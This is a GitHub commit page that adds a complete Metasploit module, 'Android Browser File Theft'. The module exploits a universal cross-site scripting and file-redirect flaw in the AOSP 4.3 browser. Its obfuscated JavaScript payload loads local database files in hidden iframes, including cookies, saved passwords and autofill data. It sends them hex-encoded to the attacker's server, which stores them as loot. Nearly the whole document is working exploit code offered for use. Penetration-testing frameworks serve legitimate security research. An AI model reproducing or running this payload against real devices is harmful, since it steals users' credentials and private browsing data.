Skip to content

Commit c6c7560

Browse files
committed
Land rapid7#4846, @joevennix's android 4.3 uxss module
2 parents c7129e0 + 9b240e1 commit c6c7560

File tree

1 file changed

+183
-0
lines changed

1 file changed

+183
-0
lines changed
Lines changed: 183 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,183 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/jsobfu'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpServer::HTML
12+
include Msf::Auxiliary::Report
13+
include Msf::Exploit::JSObfu
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'Android Browser File Theft',
18+
'Description' => %q{
19+
This module steals the cookie, password, and autofill databases from the
20+
Browser application on AOSP 4.3 and below.
21+
},
22+
'Author' => [
23+
'Rafay Baloch', # Found UXSS bug in Android Browser
24+
'joev' # File redirect and msf module
25+
],
26+
'License' => MSF_LICENSE,
27+
'Actions' => [[ 'WebServer' ]],
28+
'PassiveActions' => [ 'WebServer' ],
29+
'References' =>
30+
[
31+
# patch for file redirection, 2014
32+
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
33+
['URL', 'https://code.google.com/p/chromium/issues/detail?id=90222'] # the UXSS
34+
],
35+
'DefaultAction' => 'WebServer'
36+
))
37+
38+
register_options([
39+
OptString.new('ADDITIONAL_FILES', [
40+
false,
41+
'Comma-separated list of addition file URLs to steal.',
42+
]),
43+
OptBool.new('DEFAULT_FILES', [
44+
true,
45+
'Steals a default set of file URLs',
46+
true
47+
])
48+
], self.class)
49+
end
50+
51+
def run
52+
exploit
53+
end
54+
55+
def on_request_uri(cli, request)
56+
if request.method.downcase == 'post'
57+
process_post(cli, request)
58+
send_response_html(cli, '')
59+
else
60+
print_status('Sending exploit landing page...')
61+
send_response_html(cli, exploit_html)
62+
end
63+
end
64+
65+
def process_post(cli, request)
66+
data = JSON.parse(request.body)
67+
contents = hex2bin(data['data'])
68+
file = File.basename(data['url'])
69+
print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}")
70+
loot_path = store_loot(
71+
file,
72+
'application/x-sqlite3',
73+
cli.peerhost,
74+
contents,
75+
File.basename(data['url']),
76+
"#{cli.peerhost.ljust(16)} Android browser file"
77+
)
78+
print_good("Saved to: #{loot_path}")
79+
end
80+
81+
82+
def file_urls
83+
default_urls = [
84+
'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db',
85+
'file:///data/data/com.android.browser/databases/webview.db',
86+
'file:///data/data/com.android.browser/databases/autofill.db',
87+
'file:///data/data/com.android.browser/databases/browser2.db',
88+
'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db',
89+
'file:///data/data/com.android.browser/app_databases/Databases.db',
90+
'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db'
91+
]
92+
93+
unless datastore['DEFAULT_FILES']
94+
default_urls = []
95+
end
96+
97+
default_urls + (datastore['ADDITIONAL_FILES']||'').split(',')
98+
end
99+
100+
def exploit_html
101+
%Q|
102+
<!doctype html>
103+
<html>
104+
<body>
105+
<script>#{exploit_js}</script>
106+
</body>
107+
</html>
108+
|
109+
end
110+
111+
def exploit_js
112+
js_obfuscate %Q|
113+
window.onmessage = function(e) {
114+
var x = new XMLHttpRequest;
115+
x.open("POST", location.href);
116+
x.send(JSON.stringify(e.data))
117+
};
118+
119+
120+
function xss() {
121+
var urls = (#{JSON.generate(file_urls)});
122+
function tick() {
123+
setTimeout(function() { next(urls.shift()); });
124+
};
125+
window.onmessage = tick;
126+
127+
function next(url) {
128+
if (!url) return;
129+
try {
130+
var f = document.createElement('iframe');
131+
f.src = url;
132+
f.onload = function() {
133+
f.onload = null;
134+
function nested() {
135+
var x = new XMLHttpRequest;
136+
x.open('GET', location.href);
137+
x.responseType = 'arraybuffer';
138+
x.send();
139+
x.onload = function() {
140+
var buff = new Uint8Array(x.response);
141+
var hex = Array.prototype.map.call(buff, function(d) {
142+
var c = d.toString(16);
143+
return (c.length < 2) ? 0+c : c;
144+
}).join(new String);
145+
/*ensures there are no 'not allowed' responses that appear to be valid data*/
146+
if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {
147+
top.postMessage({data:hex,url:location.href}, '*');
148+
}
149+
parent.postMessage(1,'*');
150+
};
151+
x.onerror = function() {
152+
parent.postMessage(1,'*');
153+
};
154+
}
155+
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';
156+
f.contentWindow.location = "";
157+
};
158+
document.body.appendChild(f);
159+
} catch(e) {t();}
160+
};
161+
162+
tick();
163+
164+
}
165+
166+
var brokenFrame = document.createElement('iframe');
167+
brokenFrame.src = 'http://localhost:100';
168+
brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
169+
brokenFrame.onload = function() {
170+
brokenFrame.onload = null;
171+
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';
172+
brokenFrame.contentWindow.location = "";
173+
};
174+
document.body.appendChild(brokenFrame);
175+
|
176+
end
177+
178+
# TODO: Make this a proper Rex::Text function
179+
def hex2bin(hex)
180+
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
181+
end
182+
183+
end

0 commit comments

Comments
 (0)